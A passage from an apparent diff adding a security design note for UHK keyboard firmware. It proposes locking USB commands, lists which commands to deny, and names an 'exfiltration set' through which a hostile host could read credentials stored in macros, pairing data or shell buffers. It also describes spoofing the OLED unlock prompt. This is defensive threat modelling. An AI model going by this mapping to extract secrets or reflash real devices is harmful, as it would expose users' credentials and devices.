to 0; could hide a visual security cue. Non-persistent. | +| 0x0a | `SetTestLed` (UHK60) | Manufacturing/test feature. | Cosmetic only. | +| 0x0c | `GetAdcValue` (UHK60) | Diagnostic. | Reveals an ADC reading. Negligible. | +| 0x0f | `GetSlaveI2cErrors` (UHK60) | Diagnostic; used when troubleshooting module bus problems. | Error counters only. Negligible. | +| 0x0b | `GetDebugBuffer` | Diagnostic; timer and matrix/I²C counters. | Weak timing side channel. Negligible. | +| 0x22 | `GetModuleFlashState` | Progress reporting only — read-only and inert unless `FlashModule` (0x21) is also permitted. | None on its own. | + +**Deliberately *not* in Tier 2: `GetVariable` (0x12).** It is tempting, because +`UsbVariable_StatusBuffer` is how macro errors reach Agent and losing it makes failures invisible. +But the same command also drains `UsbVariable_ShellBuffer`, and the status buffer itself can hold +macro-printed secrets. If the error console is judged important enough to keep in the locked state, +gate it **per variable id** — allow `StatusBuffer`, `DebounceTime*`, `UsbReportSemaphore`; deny +`ShellBuffer`, `ShellEnabled`, `DevMode`. Do not open the command wholesale. + +**The critical set that the lock exists to protect** (deny unconditionally when locked, and consider +requiring physical confirmation even when unlocked): + +- `Reenumerate` into bootloader (0x01) +- `WriteStagingUserConfig` / `ApplyConfig` / `LaunchStorageTransfer` write (0x06 / 0x07 / 0x08) +- `ExecMacroCommand` (0x14) and `ExecShellCommand` (0x1e) +- `WriteModuleFirmware` / `FlashModule` (0x20 / 0x21), `JumpToModuleBootloader` / + `SendKbootCommandToModule` (0x02 / 0x03) +- `SetPairingData` (0x17) and the rest of the pairing group (0x16, 0x18–0x1d) + +**The main exfiltration set:** `ReadConfig` (0x04) — macro text frequently contains credentials — +plus `GetVariable`'s `StatusBuffer` / `ShellBuffer` (0x12), `ReadOled` (0x1f) and +`GetPairingData` (0x16). + +### Notable interactions + +- **`DrawOled` (0x15) vs. the unlock prompt.** If the unlock confirmation is shown on the OLED, a + host that can draw to the OLED can spoof or overdraw that prompt. `DrawOled` must be locked, and + the unlock prompt should render on a screen the canvas cannot overwrite. +- **`ExecMacroCommand` subsumes much of the rest.** The macro engine can change config at runtime + (`set` commands) and print to the status buffer. Locking 0x04/0x06 while leaving 0x14 open would + achieve very little. +- **`GetVariable`/`SetVariable` are coarse.** They multiplex genuinely harmless variables + (debounce, semaphore) with dangerous ones (`ShellEnabled`, `DevMode`, `StatusBuffer`, + `ShellBuffer`). Per-variable gating is worth the extra code. +- **Denying everything breaks Agent's first-run experience.** With only 0x09 allowed, Agent sees a + device it cannot identify or configure. The locked state should be *explicitly reported* — e.g. a + device-state bit or a dedicated `UsbStatusCode_Locked` return — so Agent can tell the user to + unlock the keyboard rather than showing a generic failure. + +### Real functional regressions to weigh + +Locking by default costs real features that some users rely on today, not merely dev tooling: + +- Host-driven keymap switching (0x11) for per-application layouts. +- Backlight brightness control from the host (0x0d, UHK60). +- Host-side scripting that drives the keyboard via `ExecMacroCommand` (0x14). +- The Agent status/error console (0x12 `StatusBuffer`) — without it, macro errors become invisible. + +A per-command (or per-category) unlock, persisted across reboots once the user has granted it, would +preserve these while still closing the drive-by-hostile-host hole.